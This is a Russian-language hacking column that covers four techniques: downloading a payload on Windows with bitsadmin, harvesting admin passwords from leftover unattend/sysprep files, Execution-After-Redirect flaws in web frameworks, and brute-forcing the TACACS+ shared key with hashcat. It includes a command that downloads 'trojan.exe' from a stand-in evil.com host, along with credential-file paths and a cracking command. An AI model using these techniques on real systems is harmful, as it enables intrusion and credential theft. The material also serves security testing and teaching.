Закачиваем файл в Windows с помощью BITS

Представим себе типичную ситуацию: через какую-то уязвимость мы получили возможность удаленно выполнять команды на сервере с Windows. Высоких привилегий в ОС у нас нет, и порты зафильтрованы на внешнем файрволе. Подошел бы вариант с бэк-коннект шеллом, но ведь надо закачать наш шелл в ОС. И если под *nix-системы существует куча разных возможностей, то с виндой труднее. Можно, конечно, использовать FTP-клиент или скрипт WSH, но эти варианты требуют многострочных действий, что часто бывает проблемой из-за ограничений уязвимости, которая дает RCE.

Оказывается, Windows еще со времен XP хранит в себе интересную тулзу — bitsadmin. Это часть специальной подсистемы BITS, Background Intelligent Transfer Service. Эта подсистема используется для скачивания больших файлов со сторонних ресурсов по HTTP. Автоматическое обновление Windows и обновление антивиря Defender происходит как раз через нее. К тому же ее использует ряд сторонних программ. Она достаточно «умна», так как поддерживает функцию докачки файлов при обрыве подключения (или выходе пользователя из системы), закачку нескольких файлов и их приоритезацию, а также подстройку скорости скачивания файла в зависимости от загрузки канала связи.

Для нас самая главная возможность — это запуск bitsadmin от непривилегированного пользователя и с минимум спецсимволов. Кстати, каждая закачка «оформляется» в виде задачи (job).

bitsadmin /transfer myjob /download http://evil.com/trojan.exe c:\Windows\Temp\kb123456.exe

Ключ /transfer myjob указывает на то, что мы хотим создать новую задачу с именем myjob и с типом download. Далее указывается полный путь до файла и место для сохранения. Помни, что у тебя должны быть права на запись в ту директорию, куда будет сохранен файл (к примеру, у юзера обычно есть доступ к Temp).

Вот и все! Файл будет скачан, возможно — потребуется подождать, если канал загружен.

И еще пара моментов. Во-первых, тулза поддерживает прокси. По умолчанию используются настройки IE, но можно выставить через параметры к bitsadmin и свои значения. Во-вторых, можно не только скачивать файлы, но и заставить ОС выгрузить файл из файловой системы на внешний хост (команда upload), правда, нужно поднимать специальный BITS-сервер. И последнее: начиная с Windows 7, эта утилита помечена как deprecated, так что в будущем она пропадет из ОС. Но в Windows 8 она еще присутствует.

Пример загрузки файла с помощью bitsadmin в ОС
Пример загрузки файла с помощью bitsadmin в ОС
 

Получаем пароль админа Windows

Еще один трюк, посвященный Windows, который может позволить нам поднять привилегии в системе за счет получения пароля локального администратора в плейнтексте.

У каждой крупной компании есть типовая задача: покупаются новые компьютеры, и на них надо установить Windows и дополнительное ПО, настроить. Есть несколько официальных подходов к автоматизации этого процесса, но их подробности для нас не особенно важны. Интересно лишь то, что при установке ОС необходимо указывать различные параметры и они задаются с помощью специального файла. Причем если задается пароль для пользователя (локального админа), то содержится он в этом файле в плейнтексте (максимум — в Base64). Иногда этот файл может быть оставлен в файловой системе Windows.

Таким образом, обладая лишь пользовательским доступом в ОС, мы можем поискать этот специальный файл и узнать, нет ли в нем пароля. Воистину easy hack!

Я намеренно назвал этот файл «специальным», так как в зависимости от метода автоматического развертывания системы имя файла, его формат и расположение могут варьироваться.

Вот перечень файлов и типовых путей до них:

C:\Windows\Panther\unattend.xml или Autounattend.xml
C:\Windows\Panther\Unattend\unattend.xml или Autounattend.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml

Все эти папки по умолчанию доступны на чтение для обычных пользователей. Еще стоит отметить, что в Metasploit есть специальный модуль для постэксплуатации: post/windows/gather/enum_unattend.

Пример файла unattend.xml из интернета. Пароль админа в Base64
Пример файла unattend.xml из интернета. Пароль админа в Base64
 

Находим уязвимости типа EAR

EAR — интересная уязвимость, которой подвержены некоторые веб-фреймворки. Название расшифровывается как Execution After Redirection, исполнение после редиректа. Ее можно отнести к «ошибкам логики» приложения.

Вспомним для начала, как взаимодействуют между собой веб-браузер и веб-сервер. Браузер отправляет запрос, на сервере запрос передается обработчику (например, скрипту на PHP). Результат обработки передается обратно веб-серверу, который возвращает его в браузер. После чего браузер отображает ответ. Все просто и знакомо.

В HTTP есть такая вещь, как редирект — перенаправление на другой ресурс. Его можно сделать на клиентской стороне (с помощью JS или HTML) либо инициировать специальным ответом от сервера. Вариаций второго варианта достаточно много — все ответы со статусом 3xx (301 и 302, думаю, всем знакомы). В специальном заголовке Location передается URL для перехода. Браузер при получении ответа сразу переходит по URL, не отображая содержимое ответа.

В общем, из веб-приложения мы можем инициировать редирект. Вот пример на PHP:

header('Location: index.php');

Это все, что требуется. Понятно, что этой возможностью пользуются достаточно часто.

Что же происходит с остальным кодом, который идет после функции для редиректа? Разберем пример.

if ($password!= 'qwerty'){
    header('Location: login.php');
}
echo 'Welcome!;

Весь последующий код тоже исполняется! Редирект означает лишь установку соответствующих заголовков в ответ. В этом примере строка Welcome тоже попадет в ответ от сервера.

Из-за того что браузер не отображает данные, которые поступили в ответе с редиректом, пользователю будет казаться, что все в порядке. В итоге программисты считают, что после редиректа ничего произойти не может. При этом многие языки и фреймворки не прекращают исполнение программы после редиректа, если об этом не позаботиться особо.

Это и является уязвимостью EAR. Зная, что код после редиректа выполняется, мы можем этим воспользоваться. Конечно, наши возможности зависят от того, какой код находится после редиректа. Ведь мы не можем подпихнуть туда что-то свое. Получается, что импакт атаки напрямую зависит от конкретного приложения.

Выделяют два вида EAR: обычные и «слепые». Обычные — это такие, где вывод для последующего после редиректа кода попадает в ответ от сервера. Слепые — когда по тем или иным причинам вывод данных не попадает в ответ. Благодаря EAR мы можем обходить кое-какие механизмы безопасности и получать интересные данные или выполнять некоторые действия в системе.

Это свойство присуще многим языкам, но чаще всего веб-приложения пишут на каком-то фреймворке, и те, в свою очередь, оборачивают функции редиректа. Поэтому каждый вариант нужно рассматривать отдельно с учетом фреймворка.

Так, в 2011-м было проведено исследование на эту тему, в котором проанализировано девять фреймворков.

Кратко пробегусь по итогам. В примере выше мы видели, что сам по себе PHP уязвим к обоим видам EAR. Однако фреймворки CodeIgniter, Zend и CakePHP по умолчанию неуязвимы. Питоновский Django или ASP.NET неуязвимы вовсе. А вот J2EE, Struts, Ruby on Rails, Grails уязвимы к EAR, но только ко второму ее виду, без возможности получить ответ с критичной инфой. В общем, уязвимых платформ немало.

При тестировании, если мы имеем дело с блекбоксом, нужно смотреть, что содержат в себе ответы с редиректом (Burp не обманешь!). Еще можно пробовать повторять все критичные действия, на которых есть редирект, под другим пользователем. Ведь на самом деле EAR можно свести к «слабости» недостаточного разграничения доступа. Но конечно, зачастую проще всего найти эту уязвимость, изучая исходники.

 

Брутфорсим ключ к Tacacs+

В прошлом выпуске Easy Hack я рассказывал про пару возможных атак на протокол TACACS+, который используется для централизованного управления аккаунтами устройств Сisco (роутеров, свитчей и так далее). Я тогда написал, что протокол этот относительно защищенный. Приглядевшись получше, я понял, как его можно поломать. К тому же, мне кажется, это показательный и простой пример протокола, у которого проблемы с криптографией.

Для начала напомню несколько основных фактов. TACACS+ — это клиент-серверный протокол (TCP), который работает в формате запрос — ответ (клиентом выступает устройство Cisco, а сервером — сервис TACACS+). Он поддерживает шифрование трафика с использованием общего ключа (Pre-Shared Key). При этом заголовки протокола не шифруются, а вот тела (данные) шифруются полностью. Зашифрованные данные (enc_data) представляют собой результат операции XOR с данными (data) и специальной строкой — pseudo_pad.

data^pseudo_pad=enc_data

pseudo_pad — это последовательность хешей MD5.

pseudo_pad = {MD5_1 [,MD5_2 [ ... ,MD5_n]]}

Хеши создаются на основании данных из заголовков пакетов TACACS+, плюс общий ключ (PSK), плюс предыдущий хеш (для первого MD5 его нет).

MD5_1 = MD5{session_id, key, version, seq_no}
MD5_2 = MD5{session_id, key, version, seq_no, MD5_1}
....
MD5_n = MD5{session_id, key, version, seq_no, MD5_n-1}

где session_id — случайный идентификатор сессии; version — версия протокола; seq_no — инкрементируемый номер пакета; key — PSK.

Пример заголовков пакетов TACACS+, используемых для генерации MD5
Пример заголовков пакетов TACACS+, используемых для генерации MD5

Итак, у нас есть устройство Cisco и сервер TACACS+. Мы можем провести на них атаку man-in-the-middle и видеть передаваемый трафик. Наша цель — получить PSK и с помощью него расшифровать трафик и получить валидные учетки.

Для начала, как мы видим, значение MD5 создается от нескольких значений, но только одно из них мы точно не знаем — общий ключ. Все остальные можно получить из заголовков TACACS+ пакета. Если упростить задачу, то все сводится к тому, чтобы перебором (без этого — никуда) подобрать ключ. При этом MD5 можно брутить в офлайне очень быстро. Но для этого нам нужно получить значение MD5_1. Учитывая, что значения с MD5_2 по MD5_n содержат еще и предыдущее значение MD5, они для нас по большому счету бесполезны (получается второе неизвестное).

Далее, мы должны вспомнить, что XOR — это обратимая операция. Если у нас была операция data^pseudo_pad=enc_data, то pseudo_pad=data^enc_data. При этом XOR — это простейшая операция, и изменение части строки не влечет изменений в другой ее части. Получаем MD5_1 — это начальная часть pseudo_pad (точнее, 128 бит или 16 байт). Таким образом, чтобы получить MD5_1, нам нужно знать первые 16 байт зашифрованных данных и 16 байт изначальных данных. И если зашифрованные данные мы имеем в любом количестве из трафика, то как нам получить 16 байт изначальных данных?

Давай взглянем на формат пакета пользовательских данных. Формат отличается для запросов и ответов, а также для различных их видов (TACACS+ — это Authentication, Authorization, Accounting).

Пакет состоит из нескольких полей (четыре байта): Action, Priv Level, Auth Type, Service. Они указывают на то, что кто-то хочет аутентифицироваться на циске. При этом в большинстве случаев они будут иметь значение 01. Далее User len, но в первом пакете аутентификации это значение не используется, поэтому 00. Далее Port len — это длина имени терминала, на который происходит подключение. Для удаленных подключений должно быть 04. Далее длина IP-адреса подключающегося. После — поле Data, которое тоже будет равно 00 для первого пакета. Далее — Port. Это номер или имя терминала у Cisco-девайса. И последнее поле — это сам IP-адрес подключающегося (причем нас интересуют только четыре байта от его начала, до полных 16 байт незашифрованных данных).

Пример первого запроса аутентификации
Пример первого запроса аутентификации

Что же мы тут видим? Самое главное — отсутствие по-настоящему случайных значений. По моим наблюдениям, изменяются только Port, RemAddr и RemAddrLen, возможно Priv Level. Но если мы можем провести MITM-атаку на Cisco и TACACS+, то у нас есть и возможность подключаться к этой же циске для аутентификации на ней (при этом валидных кред нам и не требуется знать). В этой ситуации мы уже будем контролировать часть незашифрованных данных, передаваемых от устройства на TACACS+.

Мы знаем свой IP и достаточно уверены в значении Priv Level (мы ведь пытаемся подключиться удаленно). Остается только Port. Но и тут значение, скорее всего, будет tty плюс номер tty. А с учетом того, что у цисочки tty не так много (обычно от 0 до 4) и идут они последовательно (в зависимости от количества параллельных сессий), мы приходим к выводу, что вариантов незашифрованных данных первого пакета при нашей аутентификации один или два.

Теперь у нас есть зашифрованные данные (enc_data), 16 байт незашифрованных изначальных данных (data) и повторных. При помощи XOR мы получаем хеш MD5_1 (точнее, несколько — в зависимости от количества вариантов незашифрованных данных). Теперь мы можем скормить MD5 в oclHashCat и брутить ключ. В случае успеха мы сможем расшифровать с тем же ключом и аутентификации реальных админов Cisco на TACACS+.

Но это еще не все интересное, что можно выжать из этой атаки. Если поближе присмотришься к шифрованию протокола TACACS+, заметишь, что в MD5 используется поле seq_no, то есть номер пакета. Таким образом, для каждого пакета данных будет генериться свой pseudo_pad, а это значит, что MD5_1 получится вытащить из любого запроса или ответа. Это значительно облегчает задачу, так как мы можем выбрать пакет данных, в котором точно будем уверены. Вот пара примеров.

Ответ от сервера TACACS+ содержит в себе несколько полей с однозначным значением и строку приветствия от Cisco для пользователя. Так как строку приветствия мы можем получить при подключении, то выходит, что все значения мы знаем наверняка.

Пример ответа от сервера TACACS+ со строкой-приветствием и запросом логина
Пример ответа от сервера TACACS+ со строкой-приветствием и запросом логина

Второй пример — это второй запрос от устройства Cisco. Все, что в нем передается, — это имя юзера и длина имени. Оба значения нам известны, если аутентификацию проводим мы сами.

Еще хотелось бы отметить небольшую трудность с hashcat. К сожалению, в нем отсутствует метод для брута MD5 с двумя разными солями (в начале и в конце последовательности). Приходится идти на уловки. Одна из них — использование маски в качестве первой или второй соли. То есть одну из солей мы хардкодим в маску. На примере ниже c002 — это версия протокола TACACS+ и номер пакета в шестнадцатеричном виде, а первая соль лежит в файле hashes.txt.

hashcat-cli64.exe -a 3 -m 20 --hex-charset --hex-salt hashes.txt ?d?d?d?dc002

К моменту публикации этой статьи я, наверное, уже успею доклепать мини-тулзу, которая облегчает выдергивание MD5 из пакета TACACS+. Не исключено, что обнаружатся и какие-то другие тонкости этого протокола. Так что, вероятно, продолжим в следующем выпуске!

Оставить мнение